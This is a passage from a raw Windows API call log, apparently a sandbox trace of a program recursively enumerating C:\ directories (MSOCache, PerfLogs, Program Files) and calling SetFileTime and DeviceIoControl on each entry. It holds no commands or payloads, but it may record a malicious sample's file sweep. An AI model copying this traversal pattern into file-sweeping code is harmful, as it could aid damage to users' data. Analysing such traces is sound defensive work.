Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89da8 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ce20 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89dc8 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8cf28 [0046.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0046.385] GetLastError () returned 0x12 [0046.385] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0046.385] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0046.385] GetLastError () returned 0x12 [0046.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0046.385] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0046.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0046.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0046.386] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0046.386] GetLastError () returned 0x12 [0046.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0046.386] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0046.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0046.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0046.386] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0046.387] GetLastError () returned 0x12 [0046.387] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f720) returned 1 [0046.387] FindClose (in: hFindFile=0x603778 | out: hFindFile=0x603778) returned 1 [0046.387] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f7a8) returned 1 [0046.387] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0046.387] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0046.387] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0046.387] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x174f930 | out: lpFileInformation=0x174f930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.387] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0046.388] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f974, lpLastWriteTime=0x174f974) returned 0 [0046.388] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.388] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f9cc, lpOverlapped=0x0) returned 0 [0046.388] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.388] NtClose (Handle=0x17c) returned 0x0 [0046.388] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0046.388] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0046.388] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0046.388] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0046.388] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60d0a0 [0046.388] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.388] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0046.388] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0046.388] GetLastError () returned 0x12 [0046.388] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60d120 [0046.388] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0046.388] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.388] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0046.388] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0046.388] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.389] CreateFileW (lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0046.389] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0046.389] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.389] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0046.389] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.389] NtClose (Handle=0x17c) returned 0x0 [0046.389] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0046.389] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0046.389] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0046.389] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0046.389] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0a0 [0046.389] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.389] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.389] GetLastError () returned 0x12 [0046.389] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0e0 [0046.389] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0046.389] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.389] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.389] GetLastError () returned 0x12 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0046.390] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0046.390] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0046.390] GetLastError () returned 0x12 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f720) returned 1 [0046.390] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f7a8) returned 1 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0046.390] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0046.390] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0046.390] 